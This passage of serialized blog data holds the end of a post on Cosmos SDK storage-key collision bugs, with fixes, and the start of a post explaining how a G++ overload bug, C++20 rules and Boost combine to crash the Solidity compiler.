values",{"type":24,"tag":158,"props":90330,"children":90331},{"style":188},[90332],{"type":29,"value":2048},{"type":24,"tag":158,"props":90334,"children":90335},{"style":177},[90336],{"type":29,"value":86749},{"type":24,"tag":158,"props":90338,"children":90339},{"style":188},[90340],{"type":29,"value":2058},{"type":24,"tag":158,"props":90342,"children":90343},{"style":222},[90344],{"type":29,"value":1285},{"type":24,"tag":158,"props":90346,"children":90347},{"style":496},[90348],{"type":29,"value":86842},{"type":24,"tag":158,"props":90350,"children":90351},{"style":188},[90352],{"type":29,"value":504},{"type":24,"tag":158,"props":90354,"children":90355},{"style":165},[90356],{"type":29,"value":68377},{"type":24,"tag":158,"props":90358,"children":90359},{"style":188},[90360],{"type":29,"value":2048},{"type":24,"tag":158,"props":90362,"children":90363},{"style":171},[90364],{"type":29,"value":86447},{"type":24,"tag":158,"props":90366,"children":90367},{"style":188},[90368],{"type":29,"value":56713},{"type":24,"tag":158,"props":90370,"children":90371},{"class":160,"line":5553},[90372],{"type":24,"tag":158,"props":90373,"children":90374},{"style":188},[90375],{"type":29,"value":5010},{"type":24,"tag":158,"props":90377,"children":90378},{"class":160,"line":10636},[90379],{"type":24,"tag":158,"props":90380,"children":90381},{"emptyLinePlaceholder":16},[90382],{"type":29,"value":481},{"type":24,"tag":158,"props":90384,"children":90385},{"class":160,"line":10652},[90386,90391,90395,90399,90403,90407,90411,90415,90419],{"type":24,"tag":158,"props":90387,"children":90388},{"style":177},[90389],{"type":29,"value":90390}," values",{"type":24,"tag":158,"props":90392,"children":90393},{"style":188},[90394],{"type":29,"value":2048},{"type":24,"tag":158,"props":90396,"children":90397},{"style":177},[90398],{"type":29,"value":86749},{"type":24,"tag":158,"props":90400,"children":90401},{"style":188},[90402],{"type":29,"value":50229},{"type":24,"tag":158,"props":90404,"children":90405},{"style":177},[90406],{"type":29,"value":87018},{"type":24,"tag":158,"props":90408,"children":90409},{"style":188},[90410],{"type":29,"value":2058},{"type":24,"tag":158,"props":90412,"children":90413},{"style":222},[90414],{"type":29,"value":1285},{"type":24,"tag":158,"props":90416,"children":90417},{"style":177},[90418],{"type":29,"value":9066},{"type":24,"tag":158,"props":90420,"children":90421},{"style":188},[90422],{"type":29,"value":210},{"type":24,"tag":158,"props":90424,"children":90425},{"class":160,"line":10696},[90426,90430,90434,90439,90443,90448],{"type":24,"tag":158,"props":90427,"children":90428},{"style":177},[90429],{"type":29,"value":28208},{"type":24,"tag":158,"props":90431,"children":90432},{"style":188},[90433],{"type":29,"value":16566},{"type":24,"tag":158,"props":90435,"children":90436},{"style":177},[90437],{"type":29,"value":90438},"iterator",{"type":24,"tag":158,"props":90440,"children":90441},{"style":188},[90442],{"type":29,"value":347},{"type":24,"tag":158,"props":90444,"children":90445},{"style":496},[90446],{"type":29,"value":90447},"Value",{"type":24,"tag":158,"props":90449,"children":90450},{"style":188},[90451],{"type":29,"value":5150},{"type":24,"tag":158,"props":90453,"children":90454},{"class":160,"line":10801},[90455],{"type":24,"tag":158,"props":90456,"children":90457},{"style":188},[90458],{"type":29,"value":5010},{"type":24,"tag":158,"props":90460,"children":90461},{"class":160,"line":24754},[90462],{"type":24,"tag":158,"props":90463,"children":90464},{"style":188},[90465],{"type":29,"value":3967},{"type":24,"tag":158,"props":90467,"children":90468},{"class":160,"line":24789},[90469,90473],{"type":24,"tag":158,"props":90470,"children":90471},{"style":1914},[90472],{"type":29,"value":18227},{"type":24,"tag":158,"props":90474,"children":90475},{"style":177},[90476],{"type":29,"value":90477}," values\n",{"type":24,"tag":158,"props":90479,"children":90480},{"class":160,"line":24797},[90481],{"type":24,"tag":158,"props":90482,"children":90483},{"style":188},[90484],{"type":29,"value":307},{"type":24,"tag":25,"props":90486,"children":90487},{},[90488,90490,90496,90497,90503,90505,90510,90512,90517,90519,90524,90526,90532,90534,90540],{"type":29,"value":90489},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":154,"props":90491,"children":90493},{"className":90492},[],[90494],{"type":29,"value":90495},"vaultId = 1",{"type":29,"value":1826},{"type":24,"tag":154,"props":90498,"children":90500},{"className":90499},[],[90501],{"type":29,"value":90502},"vaultId = 10",{"type":29,"value":90504}," coexist. If we try to fetch data under ",{"type":24,"tag":154,"props":90506,"children":90508},{"className":90507},[],[90509],{"type":29,"value":90495},{"type":29,"value":90511},", all entries under ",{"type":24,"tag":154,"props":90513,"children":90515},{"className":90514},[],[90516],{"type":29,"value":90502},{"type":29,"value":90518}," will also be returned simply because ",{"type":24,"tag":154,"props":90520,"children":90522},{"className":90521},[],[90523],{"type":29,"value":5672},{"type":29,"value":90525}," is a prefix of ",{"type":24,"tag":154,"props":90527,"children":90529},{"className":90528},[],[90530],{"type":29,"value":90531},"10",{"type":29,"value":90533},". To fix this, we must once again append the ",{"type":24,"tag":154,"props":90535,"children":90537},{"className":90536},[],[90538],{"type":29,"value":90539},"Separator",{"type":29,"value":90541}," to the iterator prefix.",{"type":24,"tag":147,"props":90543,"children":90545},{"code":90544,"language":77442,"meta":7,"className":77443,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[90546],{"type":24,"tag":154,"props":90547,"children":90548},{"__ignoreMap":7},[90549,90576,90588,90641],{"type":24,"tag":158,"props":90550,"children":90551},{"class":160,"line":161},[90552,90556,90560,90564,90568,90572],{"type":24,"tag":158,"props":90553,"children":90554},{"style":177},[90555],{"type":29,"value":1832},{"type":24,"tag":158,"props":90557,"children":90558},{"style":222},[90559],{"type":29,"value":77694},{"type":24,"tag":158,"props":90561,"children":90562},{"style":177},[90563],{"type":29,"value":79919},{"type":24,"tag":158,"props":90565,"children":90566},{"style":188},[90567],{"type":29,"value":347},{"type":24,"tag":158,"props":90569,"children":90570},{"style":496},[90571],{"type":29,"value":89734},{"type":24,"tag":158,"props":90573,"children":90574},{"style":188},[90575],{"type":29,"value":2156},{"type":24,"tag":158,"props":90577,"children":90578},{"class":160,"line":213},[90579,90584],{"type":24,"tag":158,"props":90580,"children":90581},{"style":177},[90582],{"type":29,"value":90583}," kvStore",{"type":24,"tag":158,"props":90585,"children":90586},{"style":188},[90587],{"type":29,"value":235},{"type":24,"tag":158,"props":90589,"children":90590},{"class":160,"line":238},[90591,90596,90600,90604,90608,90613,90617,90621,90625,90629,90633,90637],{"type":24,"tag":158,"props":90592,"children":90593},{"style":177},[90594],{"type":29,"value":90595}," fmt",{"type":24,"tag":158,"props":90597,"children":90598},{"style":188},[90599],{"type":29,"value":347},{"type":24,"tag":158,"props":90601,"children":90602},{"style":496},[90603],{"type":29,"value":86501},{"type":24,"tag":158,"props":90605,"children":90606},{"style":188},[90607],{"type":29,"value":504},{"type":24,"tag":158,"props":90609,"children":90610},{"style":1108},[90611],{"type":29,"value":90612},"\"%s%d%s\"",{"type":24,"tag":158,"props":90614,"children":90615},{"style":188},[90616],{"type":29,"value":191},{"type":24,"tag":158,"props":90618,"children":90619},{"style":177},[90620],{"type":29,"value":89784},{"type":24,"tag":158,"props":90622,"children":90623},{"style":188},[90624],{"type":29,"value":191},{"type":24,"tag":158,"props":90626,"children":90627},{"style":177},[90628],{"type":29,"value":89569},{"type":24,"tag":158,"props":90630,"children":90631},{"style":188},[90632],{"type":29,"value":191},{"type":24,"tag":158,"props":90634,"children":90635},{"style":177},[90636],{"type":29,"value":89900},{"type":24,"tag":158,"props":90638,"children":90639},{"style":188},[90640],{"type":29,"value":8382},{"type":24,"tag":158,"props":90642,"children":90643},{"class":160,"line":259},[90644],{"type":24,"tag":158,"props":90645,"children":90646},{"style":188},[90647],{"type":29,"value":2125},{"type":24,"tag":25,"props":90649,"children":90650},{},[90651,90653,90658],{"type":29,"value":90652},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":154,"props":90654,"children":90656},{"className":90655},[],[90657],{"type":29,"value":86255},{"type":29,"value":90659}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":90661,"children":90662},{},[90663],{"type":29,"value":90664},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":395,"props":90666,"children":90668},{"id":90667},"real-world-examples-5",[90669],{"type":29,"value":77967},{"type":24,"tag":25,"props":90671,"children":90672},{},[90673,90674,90679,90681,90688,90690,90696],{"type":29,"value":17850},{"type":24,"tag":154,"props":90675,"children":90677},{"className":90676},[],[90678],{"type":29,"value":79740},{"type":29,"value":90680}," previously lacked protection against KVStore ",{"type":24,"tag":101,"props":90682,"children":90685},{"href":90683,"rel":90684},"https://github.com/cosmos/cosmos-sdk/pull/9363",[105],[90686],{"type":29,"value":90687},"key collisions",{"type":29,"value":90689},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":154,"props":90691,"children":90693},{"className":90692},[],[90694],{"type":29,"value":90695},"KVStores",{"type":29,"value":90697}," that were not independent of each other.",{"type":24,"tag":25,"props":90699,"children":90700},{},[90701],{"type":24,"tag":101,"props":90702,"children":90705},{"href":90703,"rel":90704},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[105],[90706],{"type":29,"value":78017},{"type":24,"tag":147,"props":90708,"children":90710},{"code":90709,"language":77442,"meta":7,"className":77443,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[90711],{"type":24,"tag":154,"props":90712,"children":90713},{"__ignoreMap":7},[90714,90776,90824,90860,90900,90907,90914,90926],{"type":24,"tag":158,"props":90715,"children":90716},{"class":160,"line":161},[90717,90721,90726,90730,90735,90739,90743,90747,90751,90755,90759,90763,90767,90772],{"type":24,"tag":158,"props":90718,"children":90719},{"style":165},[90720],{"type":29,"value":77578},{"type":24,"tag":158,"props":90722,"children":90723},{"style":496},[90724],{"type":29,"value":90725}," NewKVStoreKeys",{"type":24,"tag":158,"props":90727,"children":90728},{"style":188},[90729],{"type":29,"value":504},{"type":24,"tag":158,"props":90731,"children":90732},{"style":177},[90733],{"type":29,"value":90734},"names",{"type":24,"tag":158,"props":90736,"children":90737},{"style":222},[90738],{"type":29,"value":26556},{"type":24,"tag":158,"props":90740,"children":90741},{"style":171},[90742],{"type":29,"value":30926},{"type":24,"tag":158,"props":90744,"children":90745},{"style":188},[90746],{"type":29,"value":723},{"type":24,"tag":158,"props":90748,"children":90749},{"style":165},[90750],{"type":29,"value":68377},{"type":24,"tag":158,"props":90752,"children":90753},{"style":188},[90754],{"type":29,"value":2048},{"type":24,"tag":158,"props":90756,"children":90757},{"style":171},[90758],{"type":29,"value":30926},{"type":24,"tag":158,"props":90760,"children":90761},{"style":188},[90762],{"type":29,"value":16646},{"type":24,"tag":158,"props":90764,"children":90765},{"style":222},[90766],{"type":29,"value":577},{"type":24,"tag":158,"props":90768,"children":90769},{"style":171},[90770],{"type":29,"value":90771},"KVStoreKey",{"type":24,"tag":158,"props":90773,"children":90774},{"style":188},[90775],{"type":29,"value":210},{"type":24,"tag":158,"props":90777,"children":90778},{"class":160,"line":213},[90779,90784,90788,90792,90796,90800,90804,90808,90812,90816,90820],{"type":24,"tag":158,"props":90780,"children":90781},{"style":177},[90782],{"type":29,"value":90783}," keys",{"type":24,"tag":158,"props":90785,"children":90786},{"style":222},[90787],{"type":29,"value":77694},{"type":24,"tag":158,"props":90789,"children":90790},{"style":496},[90791],{"type":29,"value":86842},{"type":24,"tag":158,"props":90793,"children":90794},{"style":188},[90795],{"type":29,"value":504},{"type":24,"tag":158,"props":90797,"children":90798},{"style":165},[90799],{"type":29,"value":68377},{"type":24,"tag":158,"props":90801,"children":90802},{"style":188},[90803],{"type":29,"value":2048},{"type":24,"tag":158,"props":90805,"children":90806},{"style":171},[90807],{"type":29,"value":30926},{"type":24,"tag":158,"props":90809,"children":90810},{"style":188},[90811],{"type":29,"value":16646},{"type":24,"tag":158,"props":90813,"children":90814},{"style":222},[90815],{"type":29,"value":577},{"type":24,"tag":158,"props":90817,"children":90818},{"style":171},[90819],{"type":29,"value":90771},{"type":24,"tag":158,"props":90821,"children":90822},{"style":188},[90823],{"type":29,"value":2125},{"type":24,"tag":158,"props":90825,"children":90826},{"class":160,"line":238},[90827,90831,90835,90839,90843,90847,90851,90856],{"type":24,"tag":158,"props":90828,"children":90829},{"style":1914},[90830],{"type":29,"value":4702},{"type":24,"tag":158,"props":90832,"children":90833},{"style":177},[90834],{"type":29,"value":4707},{"type":24,"tag":158,"props":90836,"children":90837},{"style":188},[90838],{"type":29,"value":191},{"type":24,"tag":158,"props":90840,"children":90841},{"style":177},[90842],{"type":29,"value":49769},{"type":24,"tag":158,"props":90844,"children":90845},{"style":222},[90846],{"type":29,"value":77694},{"type":24,"tag":158,"props":90848,"children":90849},{"style":1914},[90850],{"type":29,"value":78677},{"type":24,"tag":158,"props":90852,"children":90853},{"style":177},[90854],{"type":29,"value":90855}," names",{"type":24,"tag":158,"props":90857,"children":90858},{"style":188},[90859],{"type":29,"value":210},{"type":24,"tag":158,"props":90861,"children":90862},{"class":160,"line":259},[90863,90867,90871,90875,90879,90883,90888,90892,90896],{"type":24,"tag":158,"props":90864,"children":90865},{"style":177},[90866],{"type":29,"value":26588},{"type":24,"tag":158,"props":90868,"children":90869},{"style":188},[90870],{"type":29,"value":2048},{"type":24,"tag":158,"props":90872,"children":90873},{"style":177},[90874],{"type":29,"value":49769},{"type":24,"tag":158,"props":90876,"children":90877},{"style":188},[90878],{"type":29,"value":2058},{"type":24,"tag":158,"props":90880,"children":90881},{"style":222},[90882],{"type":29,"value":1285},{"type":24,"tag":158,"props":90884,"children":90885},{"style":496},[90886],{"type":29,"value":90887}," NewKVStoreKey",{"type":24,"tag":158,"props":90889,"children":90890},{"style":188},[90891],{"type":29,"value":504},{"type":24,"tag":158,"props":90893,"children":90894},{"style":177},[90895],{"type":29,"value":49769},{"type":24,"tag":158,"props":90897,"children":90898},{"style":188},[90899],{"type":29,"value":2125},{"type":24,"tag":158,"props":90901,"children":90902},{"class":160,"line":280},[90903],{"type":24,"tag":158,"props":90904,"children":90905},{"style":188},[90906],{"type":29,"value":3967},{"type":24,"tag":158,"props":90908,"children":90909},{"class":160,"line":301},[90910],{"type":24,"tag":158,"props":90911,"children":90912},{"emptyLinePlaceholder":16},[90913],{"type":29,"value":481},{"type":24,"tag":158,"props":90915,"children":90916},{"class":160,"line":626},[90917,90921],{"type":24,"tag":158,"props":90918,"children":90919},{"style":1914},[90920],{"type":29,"value":18227},{"type":24,"tag":158,"props":90922,"children":90923},{"style":177},[90924],{"type":29,"value":90925}," keys\n",{"type":24,"tag":158,"props":90927,"children":90928},{"class":160,"line":668},[90929],{"type":24,"tag":158,"props":90930,"children":90931},{"style":188},[90932],{"type":29,"value":307},{"type":24,"tag":25,"props":90934,"children":90935},{},[90936,90938,90943,90945,90950,90952,90957],{"type":29,"value":90937},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":154,"props":90939,"children":90941},{"className":90940},[],[90942],{"type":29,"value":79740},{"type":29,"value":90944}," will refuse to run if any ",{"type":24,"tag":154,"props":90946,"children":90948},{"className":90947},[],[90949],{"type":29,"value":86255},{"type":29,"value":90951}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":154,"props":90953,"children":90955},{"className":90954},[],[90956],{"type":29,"value":86255},{"type":29,"value":90958}," level.",{"type":24,"tag":25,"props":90960,"children":90961},{},[90962,90964,90971],{"type":29,"value":90963},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":101,"props":90965,"children":90968},{"href":90966,"rel":90967},"https://github.com/cosmos/cosmos-sdk/issues/12661",[105],[90969],{"type":29,"value":90970},"incorrect iterator behavior",{"type":29,"value":347},{"type":24,"tag":25,"props":90973,"children":90974},{},[90975,90977,90984],{"type":29,"value":90976},"Notably, gradual adoption of the ",{"type":24,"tag":101,"props":90978,"children":90981},{"href":90979,"rel":90980},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[105],[90982],{"type":29,"value":90983},"collections",{"type":29,"value":90985}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":59,"props":90987,"children":90988},{"id":30191},[90989],{"type":29,"value":20189},{"type":24,"tag":25,"props":90991,"children":90992},{},[90993],{"type":29,"value":90994},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":90996,"children":90997},{},[90998],{"type":29,"value":90999},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":4517,"props":91001,"children":91002},{},[91003],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":91005},[91006,91007,91010,91013,91016,91019,91022,91025],{"id":30274,"depth":213,"text":30277},{"id":77159,"depth":213,"text":77162,"children":91008},[91009],{"id":77964,"depth":238,"text":77967},{"id":78560,"depth":213,"text":78563,"children":91011},[91012],{"id":79209,"depth":238,"text":77967},{"id":79706,"depth":213,"text":79709,"children":91014},[91015],{"id":81006,"depth":238,"text":77967},{"id":82350,"depth":213,"text":82353,"children":91017},[91018],{"id":82888,"depth":238,"text":77967},{"id":84407,"depth":213,"text":84410,"children":91020},[91021],{"id":85287,"depth":238,"text":77967},{"id":86241,"depth":213,"text":86244,"children":91023},[91024],{"id":90667,"depth":238,"text":77967},{"id":30191,"depth":213,"text":20189},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91030,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91031,"description":91032,"author":91033,"image":91034,"date":91036,"tags":91037,"isFeatured":16,"onBlogPage":16,"body":91038,"_type":4536,"_id":93747,"_source":4538,"_file":93748,"_stem":93749,"_extension":4541},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":91035,"height":14857,"width":14857},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[6133,30269],{"type":21,"children":91039,"toc":93731},[91040,91045,91182,91187,91192,91197,91202,91315,91320,91325,91330,91370,91383,91388,91406,91411,91414,91420,91434,91447,91452,91465,91470,91482,91495,91500,91503,91509,91515,91572,91577,91583,91597,91632,91640,91648,91668,91674,91679,92119,92127,92171,92176,92184,92192,92231,92236,92244,92249,92252,92258,92264,92289,92301,92328,92361,92366,92369,92375,92394,92912,92925,92943,92966,92977,92982,93085,93090,93095,93109,93114,93190,93208,93213,93216,93222,93234,93246,93586,93591,93609,93614,93617,93623,93628,93646,93666,93669,93675,93694,93697,93701,93706,93717,93722,93727],{"type":24,"tag":25,"props":91041,"children":91042},{},[91043],{"type":29,"value":91044},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":147,"props":91046,"children":91048},{"code":91047,"language":6133,"meta":7,"className":6134,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[91049],{"type":24,"tag":154,"props":91050,"children":91051},{"__ignoreMap":7},[91052,91060,91078,91085,91102,91144,91168,91175],{"type":24,"tag":158,"props":91053,"children":91054},{"class":160,"line":161},[91055],{"type":24,"tag":158,"props":91056,"children":91057},{"style":2588},[91058],{"type":29,"value":91059},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":158,"props":91061,"children":91062},{"class":160,"line":213},[91063,91068,91073],{"type":24,"tag":158,"props":91064,"children":91065},{"style":1914},[91066],{"type":29,"value":91067},"pragma",{"type":24,"tag":158,"props":91069,"children":91070},{"style":165},[91071],{"type":29,"value":91072}," solidity",{"type":24,"tag":158,"props":91074,"children":91075},{"style":188},[91076],{"type":29,"value":91077}," ^0.8.25;\n",{"type":24,"tag":158,"props":91079,"children":91080},{"class":160,"line":238},[91081],{"type":24,"tag":158,"props":91082,"children":91083},{"emptyLinePlaceholder":16},[91084],{"type":29,"value":481},{"type":24,"tag":158,"props":91086,"children":91087},{"class":160,"line":259},[91088,91093,91098],{"type":24,"tag":158,"props":91089,"children":91090},{"style":165},[91091],{"type":29,"value":91092},"contract",{"type":24,"tag":158,"props":91094,"children":91095},{"style":171},[91096],{"type":29,"value":91097}," A",{"type":24,"tag":158,"props":91099,"children":91100},{"style":188},[91101],{"type":29,"value":210},{"type":24,"tag":158,"props":91103,"children":91104},{"class":160,"line":280},[91105,91110,91115,91119,91123,91128,91132,91136,91140],{"type":24,"tag":158,"props":91106,"children":91107},{"style":165},[91108],{"type":29,"value":91109}," function",{"type":24,"tag":158,"props":91111,"children":91112},{"style":496},[91113],{"type":29,"value":91114}," a",{"type":24,"tag":158,"props":91116,"children":91117},{"style":188},[91118],{"type":29,"value":15277},{"type":24,"tag":158,"props":91120,"children":91121},{"style":165},[91122],{"type":29,"value":62949},{"type":24,"tag":158,"props":91124,"children":91125},{"style":165},[91126],{"type":29,"value":91127}," pure",{"type":24,"tag":158,"props":91129,"children":91130},{"style":1914},[91131],{"type":29,"value":77271},{"type":24,"tag":158,"props":91133,"children":91134},{"style":188},[91135],{"type":29,"value":2262},{"type":24,"tag":158,"props":91137,"children":91138},{"style":171},[91139],{"type":29,"value":47438},{"type":24,"tag":158,"props":91141,"children":91142},{"style":188},[91143],{"type":29,"value":16038},{"type":24,"tag":158,"props":91145,"children":91146},{"class":160,"line":301},[91147,91151,91155,91160,91164],{"type":24,"tag":158,"props":91148,"children":91149},{"style":1914},[91150],{"type":29,"value":16980},{"type":24,"tag":158,"props":91152,"children":91153},{"style":465},[91154],{"type":29,"value":1668},{"type":24,"tag":158,"props":91156,"children":91157},{"style":222},[91158],{"type":29,"value":91159}," **",{"type":24,"tag":158,"props":91161,"children":91162},{"style":465},[91163],{"type":29,"value":9573},{"type":24,"tag":158,"props":91165,"children":91166},{"style":188},[91167],{"type":29,"value":473},{"type":24,"tag":158,"props":91169,"children":91170},{"class":160,"line":626},[91171],{"type":24,"tag":158,"props":91172,"children":91173},{"style":188},[91174],{"type":29,"value":3967},{"type":24,"tag":158,"props":91176,"children":91177},{"class":160,"line":668},[91178],{"type":24,"tag":158,"props":91179,"children":91180},{"style":188},[91181],{"type":29,"value":307},{"type":24,"tag":25,"props":91183,"children":91184},{},[91185],{"type":29,"value":91186},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":91188,"children":91189},{},[91190],{"type":29,"value":91191},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":91193,"children":91194},{},[91195],{"type":29,"value":91196},"And yet, it crashes.",{"type":24,"tag":25,"props":91198,"children":91199},{},[91200],{"type":29,"value":91201},"Another minimal example?",{"type":24,"tag":147,"props":91203,"children":91205},{"code":91204,"language":6133,"meta":7,"className":6134,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[91206],{"type":24,"tag":154,"props":91207,"children":91208},{"__ignoreMap":7},[91209,91216,91231,91238,91253,91280,91301,91308],{"type":24,"tag":158,"props":91210,"children":91211},{"class":160,"line":161},[91212],{"type":24,"tag":158,"props":91213,"children":91214},{"style":2588},[91215],{"type":29,"value":91059},{"type":24,"tag":158,"props":91217,"children":91218},{"class":160,"line":213},[91219,91223,91227],{"type":24,"tag":158,"props":91220,"children":91221},{"style":1914},[91222],{"type":29,"value":91067},{"type":24,"tag":158,"props":91224,"children":91225},{"style":165},[91226],{"type":29,"value":91072},{"type":24,"tag":158,"props":91228,"children":91229},{"style":188},[91230],{"type":29,"value":91077},{"type":24,"tag":158,"props":91232,"children":91233},{"class":160,"line":238},[91234],{"type":24,"tag":158,"props":91235,"children":91236},{"emptyLinePlaceholder":16},[91237],{"type":29,"value":481},{"type":24,"tag":158,"props":91239,"children":91240},{"class":160,"line":259},[91241,91245,91249],{"type":24,"tag":158,"props":91242,"children":91243},{"style":165},[91244],{"type":29,"value":91092},{"type":24,"tag":158,"props":91246,"children":91247},{"style":171},[91248],{"type":29,"value":91097},{"type":24,"tag":158,"props":91250,"children":91251},{"style":188},[91252],{"type":29,"value":210},{"type":24,"tag":158,"props":91254,"children":91255},{"class":160,"line":280},[91256,91260,91264,91268,91272,91276],{"type":24,"tag":158,"props":91257,"children":91258},{"style":165},[91259],{"type":29,"value":91109},{"type":24,"tag":158,"props":91261,"children":91262},{"style":496},[91263],{"type":29,"value":91114},{"type":24,"tag":158,"props":91265,"children":91266},{"style":188},[91267],{"type":29,"value":15277},{"type":24,"tag":158,"props":91269,"children":91270},{"style":165},[91271],{"type":29,"value":62949},{"type":24,"tag":158,"props":91273,"children":91274},{"style":165},[91275],{"type":29,"value":91127},{"type":24,"tag":158,"props":91277,"children":91278},{"style":188},[91279],{"type":29,"value":210},{"type":24,"tag":158,"props":91281,"children":91282},{"class":160,"line":301},[91283,91288,91292,91296],{"type":24,"tag":158,"props":91284,"children":91285},{"style":171},[91286],{"type":29,"value":91287}," uint256",{"type":24,"tag":158,"props":91289,"children":91290},{"style":188},[91291],{"type":29,"value":2048},{"type":24,"tag":158,"props":91293,"children":91294},{"style":465},[91295],{"type":29,"value":5672},{"type":24,"tag":158,"props":91297,"children":91298},{"style":188},[91299],{"type":29,"value":91300},"] data;\n",{"type":24,"tag":158,"props":91302,"children":91303},{"class":160,"line":626},[91304],{"type":24,"tag":158,"props":91305,"children":91306},{"style":188},[91307],{"type":29,"value":3967},{"type":24,"tag":158,"props":91309,"children":91310},{"class":160,"line":668},[91311],{"type":24,"tag":158,"props":91312,"children":91313},{"style":188},[91314],{"type":29,"value":307},{"type":24,"tag":25,"props":91316,"children":91317},{},[91318],{"type":29,"value":91319},"Still crashes.",{"type":24,"tag":25,"props":91321,"children":91322},{},[91323],{"type":29,"value":91324},"So what’s going on?",{"type":24,"tag":25,"props":91326,"children":91327},{},[91328],{"type":29,"value":91329},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":147,"props":91331,"children":91333},{"code":91332,"language":30371,"meta":7,"className":30369,"style":7},"if (*lengthValue == 0) { ... }\n",[91334],{"type":24,"tag":154,"props":91335,"children":91336},{"__ignoreMap":7},[91337],{"type":24,"tag":158,"props":91338,"children":91339},{"class":160,"line":161},[91340,91344,91348,91352,91357,91361,91365],{"type":24,"tag":158,"props":91341,"children":91342},{"style":1914},[91343],{"type":29,"value":16815},{"type":24,"tag":158,"props":91345,"children":91346},{"style":188},[91347],{"type":29,"value":2262},{"type":24,"tag":158,"props":91349,"children":91350},{"style":222},[91351],{"type":29,"value":577},{"type":24,"tag":158,"props":91353,"children":91354},{"style":188},[91355],{"type":29,"value":91356},"lengthValue ",{"type":24,"tag":158,"props":91358,"children":91359},{"style":222},[91360],{"type":29,"value":1034},{"type":24,"tag":158,"props":91362,"children":91363},{"style":465},[91364],{"type":29,"value":2025},{"type":24,"tag":158,"props":91366,"children":91367},{"style":188},[91368],{"type":29,"value":91369},") { ... }\n",{"type":24,"tag":25,"props":91371,"children":91372},{},[91373,91375,91381],{"type":29,"value":91374},"That single comparison — a ",{"type":24,"tag":154,"props":91376,"children":91378},{"className":91377},[],[91379],{"type":29,"value":91380},"boost::rational",{"type":29,"value":91382}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":91384,"children":91385},{},[91386],{"type":29,"value":91387},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":17924,"props":91389,"children":91390},{},[91391,91396,91401],{"type":24,"tag":1790,"props":91392,"children":91393},{},[91394],{"type":29,"value":91395},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":1790,"props":91397,"children":91398},{},[91399],{"type":29,"value":91400},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":1790,"props":91402,"children":91403},{},[91404],{"type":29,"value":91405},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":91407,"children":91408},{},[91409],{"type":29,"value":91410},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":20034,"props":91412,"children":91413},{},[],{"type":24,"tag":59,"props":91415,"children":91417},{"id":91416},"background-the-setup",[91418],{"type":29,"value":91419},"Background: The Setup",{"type":24,"tag":25,"props":91421,"children":91422},{},[91423,91425,91432],{"type":29,"value":91424},"If you follow the ",{"type":24,"tag":101,"props":91426,"children":91429},{"href":91427,"rel":91428},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[105],[91430],{"type":29,"value":91431},"Solidity build documentation (v0.8.30)",{"type":29,"value":91433},", you'll see it recommends:",{"type":24,"tag":17924,"props":91435,"children":91436},{},[91437,91442],{"type":24,"tag":1790,"props":91438,"children":91439},{},[91440],{"type":29,"value":91441},"Boost ≥ 